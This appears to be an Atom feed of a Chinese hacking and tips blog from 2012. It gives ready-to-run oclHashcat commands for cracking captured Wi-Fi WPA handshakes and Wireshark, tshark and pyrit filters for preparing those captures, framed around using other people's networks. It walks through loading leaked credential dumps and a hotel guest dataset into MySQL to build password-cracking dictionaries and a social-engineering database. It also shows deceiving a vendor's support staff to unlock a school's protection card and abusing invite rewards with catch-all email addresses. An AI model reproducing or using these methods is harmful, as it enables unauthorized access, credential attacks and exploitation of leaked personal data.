</em>   <div>Create a batch file “attack.bat”.</div><br>*   <div>Open it with a text editor, and paste the following:</div><br><pre>oclHashcat-plus64.exe -m 2500 capture.hccap rockyou.txt<br>pause</pre><br>NOTE: If your <acronym title="Operating System">OS</acronym> is 32 bit, then replace 64 with 32 in the binary name.<br><br>Execute the attack using the batch file, which should be changed to suit your needs.<br><br></div>

<h3 id="Brute-Force-Attack"><a href="#Brute-Force-Attack" class="headerlink" title="Brute-Force Attack"></a><a id="brute-force_attack" name="brute-force_attack"></a>Brute-Force Attack</h3><div><br><br><em>   <div>Rename your converted capture file “capture.hccap”.</div>
</em>   <div>Create a batch file “attack.bat”.</div><br>*   <div>Open it with a text editor and paste the following:</div><br><pre>oclhashcat-plus64.exe -m 2500 -a3 capture.hccap ?d?d?d?d?d?d?d?d<br>pause</pre><br>This will pipe len8 digits only to oclhc-plus, replace the ?d as needed.<br><br>Would be wise to first estimate the time it would take to process using a <a href="http://hashcat.net/wiki/doku.php?id=combination_count_formula" title="combination_count_formula" target="_blank" rel="external">calculator</a>.<br><br>TBD: add some example timeframes for common masks / common speed<br><br></div>

<h3 id="Rule-based-attack"><a href="#Rule-based-attack" class="headerlink" title="Rule-based attack"></a><a id="rule-based_attack" name="rule-based_attack"></a>Rule-based attack</h3><div><br><br>This is a similar to Dictionary attack, but commands look a bit different:<br><pre>oclHashcat-plus64.exe -m 2500 -r rules/best64.rule capture.hccap rockyou.txt<br>pause</pre><br>This will mutate rockyou wordlist with best 64 rules, which come along in oclHashcat-plus distribution.<br><br>Change as necessary and remember, the time it will take the attack to finish will increase proportionally with the amount of rules.<br><br><a href="http://hashcat.net/wiki/doku.php?id=rule_based_attack" title="rule_based_attack" target="_blank" rel="external">What are rules ?</a><br><br></div><br><div></div><br><div></div>]]></content>
    <summary type="html">
    <![CDATA[<h2 id=""><a href="#" class="headerlink" title=""></a><a id="the_cap_and_hccap" name="the_cap_and_hccap"></a></h2><p>这个网站里面有4个文件：这里下载<a href]]>
    </summary>
    
      <category term="hack" scheme="http://doubles.me/tags/hack/"/>
    
      <category term="BackTrack" scheme="http://doubles.me/tags/BackTrack/"/>
    
      <category term="Hack" scheme="http://doubles.me/categories/Hack/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[提取握手包]]></title>
    <link href="http://doubles.me/2012/12/11/242/"/>
    <id>http://doubles.me/2012/12/11/242/</id>
    <published>2012-12-11T11:29:07.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>蹭网的朋友经常会有抓到比较大的握手包吧。比如我就抓到一个136m。这里面大量都是无效数据，我们可以将其中认证部分提取出来。使用wireshark就可以了。下面是来自gpuhash上的说明。</p>
<p>&nbsp;</p>
<p><strong>Q: What do I do if my capture file is greater than 1MB?</strong></p>
<p><strong>A:</strong> You’ll need to use Wireshark or something else to export only the handshake to a smaller file. Remember to leave at least one beacon for your target network in there, though, so that the handshake remains associated with the ESSID you’re targeting.</p>
<p>Stripping your handshakes with Wireshark:</p>
<ul>
<li>Open your capture in Wireshark</li>
<li>Enter “eapol || wlan.fc.type_subtype == 0x04 || wlan.fc.type_subtype == 0x08” as filter expression (without quotes) then press “Apply”</li>
<li>Go to File-&gt;Save As… menu, enter new file name and select “Displayed” to save filtered packets only<br>Command-line stripping capture file with pyrit:</li>
</ul>
<p>pyrit –r &lt;input file&gt; –o &lt;output file&gt; -e &lt;essid&gt; strip</p>
<p>Command-line stripping capture file with tshark:</p>
<p>tshark -r &lt;input file&gt; -R “eapol || wlan.fc.type_subtype == 0x04 || wlan.fc.type_subtype == 0x08” -w &lt;output file&gt;</p>
<p>tshark -r &lt;input file&gt; -R “eapol || wlan_mgt == &lt;bssid&gt;” -w &lt;output file&gt;</p>
<p>tshark -r &lt;input file&gt; -R “eapol || wlan_mgt.tag.interpretation eq &lt;essid&gt;” -w &lt;output file&gt;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>打开wireshark，选择你的握手包，</p>
<p>然后过滤规则输入   eapol || wlan.fc.type_subtype == 0x04 || wlan.fc.type_subtype == 0x08</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/11.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/11.png" alt="" title="1"></a></p>
<p>点击Apply，然后保存，界面里选择display。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/21.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/21.png" alt="" title="2"></a></p>
<p>然后我们将会有一个几kb的握手包。</p>
<p>&nbsp;</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>蹭网的朋友经常会有抓到比较大的握手包吧。比如我就抓到一个136m。这里面大量都是无效数据，我们可以将其中认证部分提取出来。使用wireshark就可以了。下面是来自gpuhash上的说明。</p>
<p>&nbsp;</p>
<p><strong>Q: What do I ]]>
    </summary>
    
      <category term="BackTrack" scheme="http://doubles.me/tags/BackTrack/"/>
    
      <category term="Hack" scheme="http://doubles.me/categories/Hack/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[bae如何导入数据库]]></title>
    <link href="http://doubles.me/2012/12/11/234/"/>
    <id>http://doubles.me/2012/12/11/234/</id>
    <published>2012-12-11T03:08:56.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>bae虽然提供了phpmyadmin，可是5m的限制能干什么？</p>
<p>还好后台能够提交一个任务，导入数据库。</p>
<p>首先把数据库上传到一个空间里，http能下载的形式才行。没有的话别急，可以直接使用百度网盘的。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/1.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/1.png" alt="" title="1"></a></p>
<p>我这是脱裤门的数据，自己转成sql了，传上百度网盘后，点一下分享，然后创建连接。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/2.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/2.png" alt="" title="2"></a></p>
<p>复制这个连接，然后点击下载就可以得到下载地址了。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/3.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/3.png" alt="" title="3"></a></p>
<p>之后进入bae的后台，找到云数据库，选择你创建的数据库，然后导入。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/4.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/4.png" alt="" title="4"></a></p>
<p>之后就不用我说了，等待导入成功吧。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/5.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/5.png" alt="" title="5"></a></p>
<p>速度很快的感觉，这还没导入完。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/6.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/6.png" alt="" title="6"></a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>bae虽然提供了phpmyadmin，可是5m的限制能干什么？</p>
<p>还好后台能够提交一个任务，导入数据库。</p>
<p>首先把数据库上传到一个空间里，http能下载的形式才行。没有的话别急，可以直接使用百度网盘的。</p>
<p><a href="http://]]>
    </summary>
    
      <category term="云" scheme="http://doubles.me/tags/%E4%BA%91/"/>
    
      <category term="Others" scheme="http://doubles.me/categories/Others/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[脱裤门制作字典]]></title>
    <link href="http://doubles.me/2012/12/10/227/"/>
    <id>http://doubles.me/2012/12/10/227/</id>
    <published>2012-12-10T05:46:47.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>脱裤门就不说什么了，但是好的数据库可不能就这么放着，我们完全可以构建一个社工库，或者用来制作一个比较牛逼的字典了。这里就使用mysql来制作一个字典好了。</p>
<p>首先要有mysql环境，我使用的是apmserv，百度一下就好嘞。一键搭建win下的，进入mysql5.1，bin然后新建一个shell.bat 里面输入cmd，保存后运行就开始了。</p>
<p>连接mysql</p>
<p>mysql -h localhost -u root</p>
<p>选择数据库，不知道可以show databases;看一下</p>
<p>use test；</p>
<p>创建一个表；这里用的是weibo.com.txt，创建表要根据里面的内容来，有的只有User和pass，有的多一个mail.看大家需不需要了。</p>
<p>CREATE TABLE IF NOT EXISTS <code>weibo</code>(</p>
<p><code>mail</code> varchar(50) NOT NULL,</p>
<p><code>pass</code> varchar(50) NOT NULL</p>
<p>)ENGINE=MyISAM DEFAULT CHARSET=utf8;</p>
<p>导入数据； 路径 into 表名（列名），这里路径要注意是f：/不是f：\，千万注意。后面导出的才是f：\，我这里搞了很久啊;</p>
<p>load data infile “F:/weibo.com.txt” into table weibo(mail,pass);</p>
<p>导入了470w数据了，花费了8秒。</p>
<p><a href="http://dlinux.sinaapp.com/wp-content/uploads/2012/12/QQ20121210154506.png" target="_blank" rel="external"><img src="http://dlinux.sinaapp.com/wp-content/uploads/2012/12/QQ20121210154506.png" alt="" title="QQ20121210154506"></a></p>
<p>导出字典，就是导出pass字段，同时去除重复；</p>
<p>select distinct pass from weibo into outfile ‘f:/weibo.dic’;</p>
<p>重复是惊人的，居然一半以上是重复的密码。这里花了1分29秒。</p>
<p><a href="http://dlinux.sinaapp.com/wp-content/uploads/2012/12/QQ20121210154519.png" target="_blank" rel="external"><img src="http://dlinux.sinaapp.com/wp-content/uploads/2012/12/QQ20121210154519.png" alt="" title="QQ20121210154519"></a></p>
<p>导出sql文件，以免日后要转移，也方便一点。</p>
<p>这里新运行一下shell.bat获得一个cmd，然后输入</p>
<p>mysqldump -u root test&gt;f:\weibo.sql</p>
<p>没有显示就成功了。</p>
<p>&nbsp;</p>
<p>最后我们就得到这几个文件了，可以发现他导出的去除重复的字典也就只有20m不到，</p>
<p>如果把其他的数据库一起放过来，再去重估计也就几百m。当然如果能有其他的库就另外说了。</p>
<p><a href="http://dlinux.sinaapp.com/wp-content/uploads/2012/12/QQ20121210154528.png" target="_blank" rel="external"><img src="http://dlinux.sinaapp.com/wp-content/uploads/2012/12/QQ20121210154528.png" alt="" title="QQ20121210154528"></a></p>
<p>导入数据库的好处就是我们可以使用查询语句分析所有内容，比如可以查询里面使用频率最高的密码，用这个做出的字典就是精华了啊。</p>
<p>&nbsp;</p>
<p>也可以查询包含nimeimei的记录：</p>
<p>SELECT * FROM renren WHERE user LIKE  ‘%nimeimei%’;</p>
<p>数据库比较大的话时间会旧一点；</p>
<p>&nbsp;</p>
<p>2小时就整了3各字典，我这个效率o(︶︿︶)o 唉。不过明天就快了。</p>
<p><a href="http://dlinux.sinaapp.com/wp-content/uploads/2012/12/QQ20121210154535.png" target="_blank" rel="external"><img src="http://dlinux.sinaapp.com/wp-content/uploads/2012/12/QQ20121210154535.png" alt="" title="QQ20121210154535"></a></p>
<p>&nbsp;</p>
<p>补充一点点，这里说下制作一些弱口令字典。就是统计里面的密码使用次数，使用比较多的就是若密码了。</p>
<p>建立索引</p>
<p>CREATE INDEX index_csdn ON csdn(pass)</p>
<p>联合多表，生成弱密码统计的。按使用人数来排列的弱密码。</p>
<p>SELECT pass, COUNT( pass ) FROM renren GROUP BY pass ORDER BY COUNT( * ) DESC;<br>select pass, num from (<br>(select pass, count(pass) as num from renren group by pass order by count(pass) desc limit 10000)<br>union<br>(select pass, count(pass) as num from weibo group by pass order by count(pass) desc limit 10000)<br>union<br>(select pass, count(pass) as num from csdn group by pass order by count(pass) desc limit 10000)<br>union<br>(select pass, count(pass) as num from kaixin766 group by pass order by count(pass) desc limit 10000)</p>
<p>) as tmp<br>order by num desc limit 0,30</p>
<p>然后导出来就得到了一个弱密码字典，可以用来跑些东东了。</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>今天又把他给做完整了一下，以后找到一个比较大的空间的话，我就传上去了。mysql 4g多。额<br>a.连接mysql<br>mysql -h localhost -u root</p>
<p>b.进入mysql后，<br>show databases；<br>use test；</p>
<p>c<br>如果是sql的<br>按照上面的执行后，再来这个<br>source f:/datafilename.sql</p>
<p>或者直接是txt的，则按照这个来<br>1. 有些文件比较多，通过这个命令来合并成1个文件<br>copy <em>.</em> 1.txt<br>2.然后通过type查看里面的格式，再来决定导入的方法</p>
<p>type 1.txt<br>3.连接sql，按照前面的use test；然后继续<br>4.添加表，通过type查看到的列来决定创建多少列。<br>CREATE TABLE IF NOT EXISTS <code>ispeak</code>(<br><code>user</code> varchar(50) NOT NULL,<br><code>pass</code> varchar(50) NOT NULL,<br><code>mail</code> varchar(50) NOT NULL<br>)ENGINE=MyISAM DEFAULT CHARSET=utf8;<br>5、导入数据<br>制表符分割的用这个<br>load data infile “F:/hackbase.txt” into table hackbase(user,pass,mail);<br>逗号分割的用这个，逗号也能换成其他的<br>load data infile “F:/ispeak.txt” into table ispeak fields terminated by’,’ lines terminated by’/n’<br>(user,pass,mail);<br>如果有时候导入出现一行都在一列里面，用这个<br>load data infile “F:/ispeak.txt” into table ispeak fields terminated by’,’ (user,pass,mail);</p>
<p>按照逗号分割，导入sql，需要先create，但是这个老是会有问题，还是用上面的吧<br>mysqlimport –local -u root test F:/ispeak.txt<br>6.导出sql<br>别在mysql里输入，打开cmd，输入<br>mysqldump -u root test&gt;f:\ispeak.sql</p>
<p>d<br>导入完成后就可以导出一个字典，用于干啥大家都知道吧。都是常用密码<br>select distinct pass from ispeak into outfile ‘f:/ispeak.dic’;</p>
<p>&nbsp;</p>
<p>2014-1-6 补充</p>
<p>按照上面导入的方法如果有中文是会乱码的，所以需要处理一下</p>
<p>1.转换文件编码gbk为utf8</p>
<p>习惯问题，用bgk也可以，不过我喜欢统一化，避免问题。linux下有命令，常用环境不是linux 所以找了一个windows下的软件处理一下</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/GB2UTF8.zip" target="_blank" rel="external">GB2UTF8</a></p>
<p>2.去除干扰</p>
<p>把多个空格，空格行，空行，非统一的分隔符 全部处理一下，根据不同文件会需要到下面不同的命令</p>
<p>$sed ‘/^$/d’ test.txt &gt;1.txt 去除回车空行<br>sed ‘/^[[:space:]][[:space:]]<em>$/d’ 1-20W.txt &gt;1.txt 替换空格形成的空行<br>sed -e ‘s/[ ][ ]</em>/,/g’ filename  &gt;1.txt  转换多个空格为 ， 进行分隔符</p>
<p>还是装了一个cygwin来处理，实在是不方便</p>
<p>3.导入</p>
<p>由于是中文，所以和前面的有些不一样， 主要是 需要设置编码  character set utf8  这一句，选最长的一句来做示范 。</p>
<p>load data local infile ‘D:/database/hotel/200W-400W.csv’ into table hotel character set utf8 fields terminated by ‘,’ lines terminated by ‘\n’ (Name,CardNo,Descriot,CtfTp,CtfId,Gender,Birthday,Address,Zip,Dirty,District1,District2,District3,District4,District5,District6,FirstNm,LastNm,Duty,Mobile,Tel,Fax,EMail,Nation,Taste,Education,Company,CTel,CAddress,CZip,Family,Version,id);</p>
<p>&nbsp;</p>
<p>导出备份一下</p>
<p>导出整个数据库结构和数据<br>mysqldump -h localhost -uroot -p123456 database &gt; dump.sql</p>
<p>导出单个数据表结构和数据，推荐这种，虽然麻烦，但是分表避免文件太大。<br>mysqldump -h localhost -uroot -p123456 database table &gt; dump.sql</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>脱裤门就不说什么了，但是好的数据库可不能就这么放着，我们完全可以构建一个社工库，或者用来制作一个比较牛逼的字典了。这里就使用mysql来制作一个字典好了。</p>
<p>首先要有mysql环境，我使用的是apmserv，百度一下就好嘞。一键搭建win下的，进入mysql5.]]>
    </summary>
    
      <category term="Others" scheme="http://doubles.me/categories/Others/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[轻松搭建私有云]]></title>
    <link href="http://doubles.me/2012/12/10/215/"/>
    <id>http://doubles.me/2012/12/10/215/</id>
    <published>2012-12-10T05:07:01.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>&nbsp;</p>
<p>昨天的迷你云xss可以说是没什么用处，今天发现迷你云确实很不错，至少不用担心数据会别人窃取。</p>
<p>今天就做了一个搭建迷你云的教程。</p>
<p>可以在家中的电脑上搭建迷你云，只要使用他的windows或者linux一键环境。不过我还是喜欢用php空间搭建。</p>
<p>因为这样不用担心家中电脑关机，也可以保证传输速度。这里空间使用的是openshift，以前有过教程，翻墙一直用的他。</p>
<p>openshift申请一个数据库后，</p>
<p>ssh连上 cd app-root\repo\php</p>
<p>然后wget <a href="http://www.miniyun.cn/app/download/type/server/mime/zip" target="_blank" rel="external">http://www.miniyun.cn/app/download/type/server/mime/zip</a></p>
<p>之后unzip zip。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/QQ20121208173145.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/QQ20121208173145-300x57.png" alt="" title="QQ20121208173145"></a></p>
<p>接下来进入数据库配置，很简单的，http进入你解压的目录我这里是<a href="https://tools.chenxing.org.cn/yun/[" target="_blank" rel="external">https://tools.chenxing.org.cn/yun/[</a><br>](<a href="http://bcs.duapp.com/dlinux/QQ%E6%88%AA%E5%9B%BE20121208173708.png)[" target="_blank" rel="external">http://bcs.duapp.com/dlinux/QQ%E6%88%AA%E5%9B%BE20121208173708.png)[</a><br>](<a href="http://bcs.duapp.com/dlinux/QQ%E6%88%AA%E5%9B%BE20121208173639.png)[![](http://7xnueu.com1.z0.glb.clouddn.com/2012/12/QQ20121208173639-210x300.png" target="_blank" rel="external">http://bcs.duapp.com/dlinux/QQ%E6%88%AA%E5%9B%BE20121208173639.png)[![](http://7xnueu.com1.z0.glb.clouddn.com/2012/12/QQ20121208173639-210x300.png</a> “QQ20121208173639”)](<a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/QQ20121208173639.png" target="_blank" rel="external">http://7xnueu.com1.z0.glb.clouddn.com/2012/12/QQ20121208173639.png</a>)</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/QQ20121208173708.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/QQ20121208173708-266x300.png" alt="" title="QQ20121208173708"></a></p>
<p>选择mysl数据库，接下来配置信息。这些申请的时候都有的，openshift的不能填localhost，要进phpmyadmin看里面的地址才行。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/QQ20121208173916.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/QQ20121208173916-300x267.png" alt="" title="QQ20121208173916"></a></p>
<p>之后创建一个admin就好了。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/QQ20121208174043.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/QQ20121208174043-300x150.png" alt="" title="QQ20121208174043"></a></p>
<p>注意看，他提供web，windows，android3种登入方式，ios的好像也可以了。登入后就可以在web上使用了，这个和金山快盘类似，因为他就是仿照快盘的，不对，借鉴借鉴。以前猪八戒看到过这个任务。嘿嘿。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/QQ20121208175145.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/QQ20121208175145-300x146.png" alt="" title="QQ20121208175145"></a></p>
<p>由于这个是外国的空间，所以上传速度大概只有40k，下载在150k左右。不过没关系，大文件都用百度网盘之类的，私有云只是存储一些不方便放其他地方的文件，小文件，速度不担心。你又其他的就别担心了。</p>
<p>点击右上角有管理功能哦，管理员才有，然后看看windows的界面吧。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/QQ20121208175627.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/QQ20121208175627-300x198.png" alt="" title="QQ20121208175627"></a><a href="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/QQ201212081755441.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/2012/12/QQ201212081755441-300x159.png" alt="" title="QQ201212081755441"></a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>&nbsp;</p>
<p>昨天的迷你云xss可以说是没什么用处，今天发现迷你云确实很不错，至少不用担心数据会别人窃取。</p>
<p>今天就做了一个搭建迷你云的教程。</p>
<p>可以在家中的电脑上搭建迷你云，只要使用他的windows或者linux一键环境。不过我还是]]>
    </summary>
    
      <category term="Others" scheme="http://doubles.me/categories/Others/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[迷你云xss一枚]]></title>
    <link href="http://doubles.me/2012/12/09/209/"/>
    <id>http://doubles.me/2012/12/09/209/</id>
    <published>2012-12-09T14:03:02.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>迷你云是一套软件，不是在线存储服务，迷你云助您快速搭建私有Dropbox(宇宙最受欢迎的同步网盘)。</p>
<p><a href="http://www.miniyun.cn/" target="_blank" rel="external">http://www.miniyun.cn/</a></p>
<p>当然看到这个是因为他那个说南昌话介绍产品的妹纸，坑爹啊，好好的妹纸就这样切了货啊。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/000313u8I.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/000313u8I.png" alt="" title="QQ20121207183150"></a></p>
<p>官方提供了默认的测试帐号，然后进去找了各输入框。就是通讯录里面的新建分组或者联系人，然后只要有人登入进来就可以看到这个了吧。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/000316vrV.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/000316vrV.png" alt="" title="QQ20121207181945"></a></p>
]]></content>
    <summary type="html">
    <![CDATA[<p>迷你云是一套软件，不是在线存储服务，迷你云助您快速搭建私有Dropbox(宇宙最受欢迎的同步网盘)。</p>
<p><a href="http://www.miniyun.cn/" target="_blank" rel="external">http://www.mini]]>
    </summary>
    
      <category term="hack" scheme="http://doubles.me/tags/hack/"/>
    
      <category term="Hack" scheme="http://doubles.me/categories/Hack/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[邮箱邀请注册技巧]]></title>
    <link href="http://doubles.me/2012/12/09/202/"/>
    <id>http://doubles.me/2012/12/09/202/</id>
    <published>2012-12-09T13:58:19.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>很多东西可以通过邀请好友来获得额外的奖励。</p>
<p>比如我使用的这个快盘，可以通过邀请好友获取额外的空间。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/235821Zy7.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/235821Zy7.png" alt="" title="QQ20121206214543"></a></p>
<p>然后我们要注册很多各邮箱完成注册么？当然不是，这有个简单的方法，就是企业邮箱。我们使用qq企业邮箱。先注册一个来用。</p>
<p><a href="http://tel.exmail.qq.com/" target="_blank" rel="external">http://tel.exmail.qq.com/</a></p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/235824KZt.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/235824KZt.png" alt="" title="QQ20121206214631"></a></p>
<p>注册要使用手机号，如果有独立域名也可以，info提示被禁，发送大量垃圾邮件的后果啊。然后新增一个邮箱帐号，</p>
<p>我这里是d@手机号.foxmail.com这个。<a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/235826Z2e.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/235826Z2e.png" alt="" title="QQ20121206214908"></a></p>
<p>新增完后就设置，邮件转移。这是利用企业邮箱的转移功能，只要有邮件发送到不存在的邮箱地址就可以转移到你设置的邮箱当中。是不是知道怎么办了？</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/2358291gw.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/2358291gw.png" alt="" title="QQ20121206214954"></a></p>
<p>我们前面的d@手机.foxmail.com 可以收取 *@手机.foxmail.com的所有邮件了，然后注册的时候可以随便填写，但后缀必须是你注册的。之后嘛。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/235831U0d.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/235831U0d.png" alt="" title="QQ20121206215825"></a></p>
<p>就是这样，以后可以使用这个方法获得大量的邮箱地址了。</p>
]]></content>
    <summary type="html">
    <![CDATA[<p>很多东西可以通过邀请好友来获得额外的奖励。</p>
<p>比如我使用的这个快盘，可以通过邀请好友获取额外的空间。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/23]]>
    </summary>
    
      <category term="Others" scheme="http://doubles.me/categories/Others/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[噢易保护卡破解]]></title>
    <link href="http://doubles.me/2012/12/09/197/"/>
    <id>http://doubles.me/2012/12/09/197/</id>
    <published>2012-12-09T13:55:39.000Z</published>
    <updated>2016-09-26T20:59:02.000Z</updated>
    <content type="html"><![CDATA[<p>今天上软件测试实在无聊，就顺手想把保护卡和监控给弄下来。</p>
<p>这里先说保护卡吧。 保护卡是噢易的，比较繁琐，测试了一会都没什么用。</p>
<p>开机f3找到一个用户密码：sys 697 856 767 669 738 739 767 848 不知道是加密的，打了好几遍都不行。</p>
<p>然后放弃了，回来后百度到一个好东西。有个回答比较厉害。</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/235546HVx.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/235546HVx.png" alt="" title="1"></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>看到了么，果断照它来。<a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/235547aSp.png" target="_blank" rel="external"><br><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/235547aSp.png" alt="" title="2"></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>就按照那个提问来吧，果断弄到密码。o(︶︿︶)o 唉，是默认的，我也没试一下。看这句话，小心穿帮啊！</p>
<p><a href="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/235551hzF.png" target="_blank" rel="external"><img src="http://7xnueu.com1.z0.glb.clouddn.com/auto_save_image/2012/12/235551hzF.png" alt="" title="3"></a></p>
<p>&nbsp;</p>
<p><div id="Curpage"></div></p>
<p><table id="ItemTable" width="100%" cellspacing="0"></table></p>
<p><tbody></tbody></p>
<p><tr id="itemId_0" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>幼儿猿 17:08:05</div><br></p>
<p><div><strong>你好</strong></div><br></p>
<p><tr id="itemId_1" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>噢易客服四号 17:08:21</div><br></p>
<p><div>您好</div><br></p>
<p><tr id="itemId_2" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>幼儿猿 17:09:25</div><br></p>
<p><div><strong>这样的，我网上买了台电脑，它开机显示被保护了，oseasy然后我应该怎么样去掉啊</strong></div><br></p>
<p><tr id="itemId_3" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>噢易客服四号 17:10:39</div><br></p>
<p><div>您是不想要这个保护还原，是吗？</div><br></p>
<p><tr id="itemId_4" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>幼儿猿 17:10:45</div><br></p>
<p><div><strong>嗯</strong></div><br></p>
<p><tr id="itemId_5" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>幼儿猿 17:10:56</div><br></p>
<p><div><strong>他提示要密码那</strong></div><br></p>
<p><tr id="itemId_6" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>幼儿猿 17:11:07</div><br></p>
<p><div><strong>我也不知道</strong></div><br></p>
<p><tr id="itemId_7" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>噢易客服四号 17:12:45</div><br></p>
<p><div>我们的oss系统一般是针对学校用户的，一般都是学校用户进行采购的</div><br></p>
<p><tr id="itemId_8" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>幼儿猿 17:13:05</div><br></p>
<p><div><strong>买的2手的额</strong></div><br></p>
<p><tr id="itemId_9" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>噢易客服四号 17:13:12</div><br></p>
<p><div>我们可以帮您算密码</div><br></p>
<p><tr id="itemId_10" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
<p><div>幼儿猿 17:13:13</div><br></p>
<p><div></div><br></p>
<p><tr id="itemId_11" bgcolor="#f5f8fa"></tr></p>
<p><td id="tn"></td></p>
<p><div></div></p>
